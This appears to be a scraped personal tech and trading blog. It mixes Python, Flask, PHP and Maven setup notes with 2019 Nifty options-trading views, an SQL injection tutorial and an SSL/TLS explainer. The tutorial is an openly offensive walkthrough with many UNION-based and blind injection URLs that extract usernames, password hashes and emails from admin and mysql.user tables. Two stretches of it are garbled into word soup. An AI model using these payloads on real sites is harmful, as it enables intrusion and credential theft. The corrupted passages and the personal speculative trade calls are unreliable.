Install Python Specific version upgrade or downgrade and Also Virtual Environment with the specific Python Version

1. install python 3.7 and 3.7 virtual env 

**********************************

sudo add-apt-repository ppa:deadsnakes/ppa

sudo apt update

sudo apt install python3.7

sudo apt install python3.7-venv

2. create environment

*******************

#goto your project root folder

python3.7 -m venv env3.7

source env3.7/bin/activate

now check version, all same

************************

python3 --version

python --version

python3.7 --version

pip --version

pip3 --version

3. upgrade pip

*************

python3.7 -m pip install --upgrade pip

How to Host Flask Applications on Namecheap cPanel

Very good. 

1. Follow the link, 

 https://dev.to/lordghostx/how-to-host-flask-applications-on-namecheap-cpanel-299b

2. In Execute Python Script 

-m pip install --upgrade pip

-m pip install -r requirements.txt

Restart the server for app.py changes.

Post Market Nifty View - 04-06-2019

#. Today FII are net buyers involves major money. and nifty totally surge to 12050k + mark.

#. Day Candle - Nifty forms strong bullish candle. But it has near to the major resistance of 12146, once it break and closed. then we have a strong upwards and next major hurdle at 12411 +.

#. wednesday is holiday and thursday monetary policy, hope repo rate will cut by 0.25% and that creates BN volatility ..

#. Short 32100 CE and planning to hedge by tomorrow evening if it close above 31800.

#. Short nifty PE heavily and hedge nifty future and short CE with less qty. I need this expiry to end below 12150 and I can get decent money.


Happy Trading..

Pre Open Market Walk Through - Weekly Expiry - 05-06-2019

Important -  Monetary Policy announcement, So watch Bank nifty stocks, that impact will be more in Nifty direction.


1. Expiry - Weekly

2. Global Market:
            US            - Flat
            European  - Green
            Asian        - Mixed
           SGX Nifty - Down with 51 pts

3. FII/DII activities 
                 FII are net sellers of 416cr and DII are also net sellers of 355cr.   
                 Generally FII will buy or sell continuesly.

4. Candles - Nifty forms harami or inside bar candle pattern in days candle..
                     So buy above yest high and sell below yest low and day before high/low is Ur stop-loss. Trade the next week option strikes if you go on long to escape from Theta.

                     BANK NIFTY - Tomorrow monetary policy announce at 2:30 or 4PM.  So be caution and play on hedging.. Your hedging premimum price should not [both CE and PE] goes beyond 100 RS combine and also Straddle only. 

5. VIX is at 15.63 is good for bull market. 

6. USD/INR $ - 69.42 but still it has to come below 69 is good for investment or bull market.

7. Result/Events - Monetary policy, expect the rate cut of basis 25 pts, so second half may expect some volatility. But this news already spread and the market is played well already.

   NOTE - Any more rate cut rather than 25 basis pts will take market to upwards of another 100-200 pts in BN.

8. Max Pain   -  Nifty @ 11800, BN @ 31600.

9. FNO Analasis -   Features              - Nifty - Bullish & BN - Neutral
                                 Option PC Ratio - Nifty - Neutral & BN - Neutral

10. Trend Movements - Nifty may end between 11930-12075.





My Trade Plan
#############

#. Already Short Strangle at OTM 11800, 11850,11900 PE and 12150, 12200 CE, BN done hedging [bullish combo spread].

             Nifty [  Close existing positions which ever below 0.5 and shift to next position with minimal until the direction gets cleared. second half may go with ATM short stradle if required].

Already I made VEGA netural, If that strategy fails, then i will play ITM stradle to make delta neutral.


#. LOTS - Confidential*





TRADE WITH CAUTION
HAPPY TRADING
Vijay

- Please feel free to comment and always respected, it will be answered latter.-

Post Market Nifty View - 03-06-2019

#. Vix - 15.97 (-0.62%) decreased- which is good

#. US $ - 69.42  (-0.69%) decreased - so can expect some FII investment

#. Today FII are net buyers involves major money. and nifty totally surge to 12050k + mark.

#. Day Candle - Nifty forms strong bullish candle. But it has near to the major resistance of 12146, once it break and closed. then we have a strong upwards and next major hurdle at 12411 +.

#. wednesday is holiday and thursday monetary policy, hope repo rate will cut by 0.25% and that creates BN volatility ..

#. Short 32100 CE and planning to hedge by tomorrow evening if it close above 31800.

#. Short nifty PE heavily and hedge nifty future and short CE with less qty. I need this expiry to end below 12150 and I can get decent money.


Happy Trading..

Post Market Nifty View - 29-05-2019

#. Vix - 16.41 (3.08%) increased
#. US $ - 69.84  (0.23%) increased
#. Day Candle - Nifty forms bearish spining top after yesterday hanging man pattern, so tomorrow we can see further downside if nifty break todays low. 
#. June serious might be bullish once FII, FDI comes inside.



#. Tomorrow is weekly & monthly expiry, so be caution.

Post Market Nifty View - 28-05-2019

Nifty forms hanging man pattern in day/monthly candle and also it is on the highest level. so there may be a slight pull down in coming sessions. but june serious will drive by modi, budget, monitary policy in upwards..

Post Market Analysis :: NSE Nifty Report - 15-05-2019

#. Vix - 28.66 (5.64%) increased  and it will cause major impact in the market,

#. US $ - 70.43 (0.22%) decreased, Still it has to decrease and come below 69 INR, so we can expect more FII investment.

#. Day Candle -  Nifty forms long red candle in day candle,
   Next major support at 11025 and BN at 28120 if the same volatility continues.

Nifty

#. Hdfcbank split options is on may 22 nd.

#. Upto election result, we will expect the volatility in the market.

#. Tomorrow is weekly expiry, so be caution.




- Vijay

Post Market Analysis :: NSE Nifty Report - 07-05-2019

#. Vix - 26.48 (0.16%) increased  and it will cause major impact in the market,

#. US $ - 69.57 (0.2%) decreased, Still it has to decrease and come below 69 INR, so we can expect more FII investment.

#. Day Candle -  Nifty forms bearish engulfing pattern in day candle, next support at 11470, 11440 levels on upper side 11549 needs to break to go 11570 levels.

#. SBI result on friday, so weekly expiry wont get impact with this result event.

#. Hdfcbank split options is on may 22 nd.

#. Upto election result, we will expect the volatility in the market.





- Vijay

Post Market Analysis :: NSE Nifty Report - 02-05-2019

#. Vix - 5.4% increased and it will cause major impact in the market,
#. US $ - 0.24% decreased, Still it has to decrease and come below 69 INR, so we can expect more FII investment.
#. Day - Nifty forms grave stone doji, so you can start PE long or CE short after 11695.
#. Still company results are yet to come and that may impact our market
#. Election result will impact more this time.
#. If the same govt forms, it will be nice for our market, else it will take few months to get settled.

Pre - Stock Market Walk Through - Weekly Expiry - 02-05-2019

1. Expiry - Weekly

2. Global Market:
            US            - Down, due to fed changes
            European  - Mixed
            Asian        - Mixed
           SGX Nifty - Down

3. FII/DII activities 
    Cash market - FII are net buyers of 114 cr and DII are net sellers of 730 cr.

    **Last day in second session, Nifty recovered the losses.

4. Candles - Nifty forms a dragon fly doji or hanging man,sign of reversal

5. VIX is at 21 

6. USD/INR $ - 69.84 but still it has to come below 69 is good for investment or bull market.

7. Result/Events - Brittania, Bandhan Bank,

8. Max Pain   -  Nifty @ 11700 [shift from 11600*], BN @ 29800.

9. FNO Analasis -   Features              - Nifty & BN looks like Neutral
                                 Option PC Ratio - Nifty - Neutral & BN - Bearish

10. Trend Movements - Nifty may end between 11600-11760 range.



My Trade Plan
#############

1. Sort Stradle at ATM, Sort Strangle at OTM which ever the LTP > 8 rs in nifty and  > 15 rs in BN [ ATM, OTM ],
             Nifty [  first session - nacked call or short call spread, latter strangle/stradle if required ]
2. I will watch yesbank and britannia and short.

3. LOTS - Confidential*


TRADE WITH CAUTION
HAPPY TRADING
Vijay


- always respect your comments and it will be answered -

Stock Market Walk Through - Weekly & Monthly Expiry - 25-04-2019

1. Expiry - Weekly & Monthly..

2. Global Market:
            US            - Slightly down
            European  - Mixed
            Asian        - Mixed
           SGX Nifty - Recovering

3. FII/DII activities 
    Cash market - FII are net buyers of 974 cr and DII are net sellers of 657 cr.
    FNO market - FII are net buyers of 823 cr and DII are net sellers of 64 cr
 
    **Yesterday in second session, Sort covering and the FII activities push the market up, NIfty 150+ pts, BN 350+ pts, IT 200+ pts
 
4. Candles - Nifty forms a long bull candle and it close the gap with shadow. so we can confirm the trend once the shadow has be filled by body. Yesterday small red candle forms as a morning star at an important support levels in day candle.
  Start next week long positions after 11740, NOTE: Open price should be lesser than 11730 atleast to confirm the long.

5. VIX got nearly -3.8% today to make our bull market strong. but still yet to cool off.

6. USD/INR $ is still in the resistance level of last few days, but we cannot say it is helpful to the bull market, but still it has to come below 69 is good for investment or bull market.

7. Result/Events - Axis Bank, Cyient, Indiabulls Ventures, Maruti Suzuki, Nestle India, Tata Steel

8. Max Pain   -  Nifty is shift to 11650-11800 levels,  Nifty @ 11700 [shift from 11600*], BN @ 29800.

9. FNO Analasis -   Features              - Nifty & BN looks like bullish
                                 Option PC Ratio - Nifty - Bulish & BN - Netural                               

10. Trend Movements - Nifty may end between 11630-11780 range.



My Trade Plan
#############

1. Sort Stradle at ATM, Sort Strangle at OTM which ever the LTP > 8 rs in nifty and  > 15 rs in BN [ ATM, OTM ],
             Nifty [  first session - nacked put or short put spread, latter strangle/stradle if required ]
2. Also will sell 1-2 stock option if i feel to go head, due to monthly expiry
             Today I am going to short axis bank [strangle].

3. LOTS - Confidential*


TRADE WITH CAUTION
HAPPY TRADING
Vijay


- always respect your comments and it will be answered -

Stock Market Walk Though - Monthly Expiry - 28-03-2019

1. Monthly Expiry
2. Global Market is in Red, SGX trading 15 pts lower right now
3. FII/DII are net buyers
4. Nifty forms Dark cloud pattern in day on high zone, so Nifty may go down one the low breaks.
     Bank nifty forms Doji pattern in day candle, So confirm once High/Low breakout.
5. FNO -   Features - Nifty looks like bearish, BN neutral.
                 Option PC Ratio - Nifty - Bullish & BN - Netural
6. Max Pain on nifty - 11400, BN 29800. so plan accordingly.
7. Nifty may end between 11365-11470 and the bank nifty end in between 29800-29950.


TRADE WITH EXTRA CAUTION,


My Trade Plan

1. Strangle in nifty [ ATM, OTM ],
2. Short Nacked call/put in stocks [ Mindtree 960 CE ]
3. LOTS - Confidential*


HAPPY TRADING
Vijay

Slim Framework - Global PHP reference Steps Installation

1. Download composer_setup.exe for windows
install it -> select php.exe from xampp/php/


2 Copy composer.phar from C:\ProgramData\ComposerSetup\bin [hidden folder] to D:\php\ [apache root directory]

3. type to install vendor folder [slim setups]
    D:\php> php composer.phar require slim/slim

4. create your root folder (ex: test) and in your index.php..
    add ../vendor/autoload.php

ex:index.php
 
   
    use \Psr\Http\Message\ServerRequestInterface as Request;
    use \Psr\Http\Message\ResponseInterface as Response;

    require '../vendor/autoload.php';

    $app = new \Slim\App;
    $app->get('/', function (Request $request, Response $response) {
         $response->getBody()->write("Welcome");
    });

    $app->get('/home/{name}', function (Request $request, Response $response) {
        $name = $request->getAttribute('name');
        $response->getBody()->write("Hello, $name");
   
        return $response;
    });
    $app->run();



5. run apache and in browser    http://localhost:8888/test/

Exception in thread "main" org.springframework.beans.factory.parsing.BeanDefinit ionParsingException: Configuration problem: Unable to locate SpringNamespaceHandler for XML schema namespace [http://www.springframework.org/schema/tx] Offending resource: class path resource [spring.xml]

When you get this error: please use maven-shade-plugin instead of maven-assembly-plugin

<!--
            #if you use this maven assembly plugin with spring-tx, you may get unable to locate exception while running as single jar. so use shade plugin
            <plugin>
                <artifactId>maven-assembly-plugin</artifactId>
                <version>2.6</version>
                <executions>
                    <execution>
                        <phase>package</phase> bind to the packaging phase
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
                <configuration>
                    <archive>
                        <manifest>
                            <addClasspath>true</addClasspath>
                            <mainClass>yourpackage.YourMainClass</mainClass>
                        </manifest>
                    </archive>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
            </plugin>
            -->
            <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-shade-plugin</artifactId>
            <version>1.4</version>
            <executions>
                <execution>
                    <phase>package</phase>
                    <goals>
                        <goal>shade</goal>
                    </goals>
                    <configuration>
                        <transformers>
                            <transformer
                                implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
                                <mainClass>yourpackage.YourMainClass</mainClass>
                            </transformer>
                            <transformer
                                implementation="org.apache.maven.plugins.shade.resource.AppendingTransformer">
                                <resource>META-INF/spring.handlers</resource>
                            </transformer>
                        </transformers>
                    </configuration>
                </execution>
            </executions>
        </plugin>

       

SQL Injection - SQLI tutorial

SQL Injection Tutorial by Marezzi (MySQL)


In this tutorial i will describe how sql injection works and how to
use it to get some useful information.


First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).


1.SQL Injection (classic or error based or whatever you call it) :D

2.Blind SQL Injection (the harder part)


So let's start with some action :D


1). Check for vulnerability

Let's say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection :)

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- --="" ...="" 1="" 2="" 3="" 4.1.12...="" 4.1.33-log="" 4.1.33="" 4.="" 4="" 5.0.45="" 5="" :="" :d="" a="" all="" already="" an="" and="" any="" are="" by="" can="" cause="" check="" clause="" coercible="" collations="" column="" columns="" comment="" convert="" covering="" data="" describe="" didn="" error="" for="" found="" function="" get="" getting="" got="" has="" have="" hex="" http:="" i.e.="" i.e="" i="" id="5" if="" illegal="" important="" in="" is="" it="" later="" latin1="" let="" like="" look="" means="" message="" mix="" more="" must="" mysql="" name="" need="" news.php="" no="" not="" note:="" now="" number="" numbers="" of="" on="" one="" or="" order="" our="" paper="" problem="" properly.="" query="" replace="" s="" say="" screen="" section="" see="" select="" should="" similar.="" so="" some="" something="" someting="" sql="" statement.="" t="" table="" that="" the="" then="" this="" to="" try="" unhex="" union="" unknown="" using="" version="" we="" well="" what="" will="" with="" work="" working="" works="" write="" www.site.com="" you=""> 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)

we know that table admin exists...

now to check column names.


http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up :)

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice :)

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )


http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser :D

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... :D

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together :D

for that we use concat() , i decribe it earlier.

i.e


http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com


That's all in this part, now we can proceed on harder part :)



2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done :D

I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D

Let's start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- 0="" 1="" 2="" 3="" 4.="" 4="" 5.="" 5="" :="" access="" always="" and="" article="" as="" ascii="" attack="" before="" best="" blind="" can="" cause="" change="" character="" characters="" check="" column="" columns.="" columns="" common="" concat="" content="" data="" database="" don="" exits.="" false="" first="" for="" found="" friend="" from="" function="" get="" gonna="" guess="" guessing.="" guessing="" have="" here="" http:="" i.e.="" i.e="" i="" id="5" if="" important.="" in="" injection.="" is="" just="" know="" later="" let="" like="" limit="" load_file="" loads="" merge="" missing="" mysql.user="" mysql="" name.="" name="" names="" need="" news.php="" normally="" now="" of="" ok.="" on="" one="" only="" or="" our="" outfile.="" page="" part="" password="" picture="" pull="" query="" real="" replace="" return="" returned="" returns="" right="" row="" s="" said="" same="" say="" see="" select="" should="" site="" so="" some="" sql="" start="" subselect="" subselects="" substring="" t="" table="" test="" text="" that.="" that="" the="" then="" this="" to="" true="" try="" until="" use="" username="" users="" usign="" version="" very="" vulrnable="" we="" what="" when="" with="" without="" work.="" work="" works="" www.site.com="" x3a="" you="">80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR.

Thanks to exploit-db.com

SSL and TLS

A popular implementation of public-key encryption is the Secure Sockets Layer (SSL). Originally developed by Netscape, SSL is an Internet security protocol used by Internet browsers and Web servers to transmit sensitive information. SSL has become part of an overall security protocol known as Transport Layer Security (TLS).

Look for the "s" after "http" in the address whenever you are about to enter sensitive information, such as a credit-card number, into a form on a Web site.

In your browser, you can tell when you are using a secure protocol, such as TLS, in a couple of different ways. You will notice that the "http" in the address line is replaced with "https," and you should see a small padlock in the status bar at the bottom of the browser window. When you're accessing sensitive information, such as an online bank account or a payment transfer service like PayPal or Google Checkout, chances are you'll see this type of format change and know your information will most likely pass along securely.
TLS and its predecessor SSL make significant use of certificate authorities. Once your browser requests a secure page and adds the "s" onto "http," the browser sends out the public key and the certificate, checking three things: 1) that the certificate comes from a trusted party; 2) that the certificate is currently valid; and 3) that the certificate has a relationship with the site from which it's coming.

The padlock symbol lets you know that you are using encryption.

The browser then uses the public key to encrypt a randomly selected symmetric key. Public-key encryption takes a lot of computing, so most systems use a combination of public-key and symmetric key encryption. When two computers initiate a secure session, one computer creates a symmetric key and sends it to the other computer using public-key encryption. The two computers can then communicate using symmetric-key encryption. Once the session is finished, each computer discards the symmetric key used for that session. Any additional sessions require that a new symmetric key be created, and the process is repeated.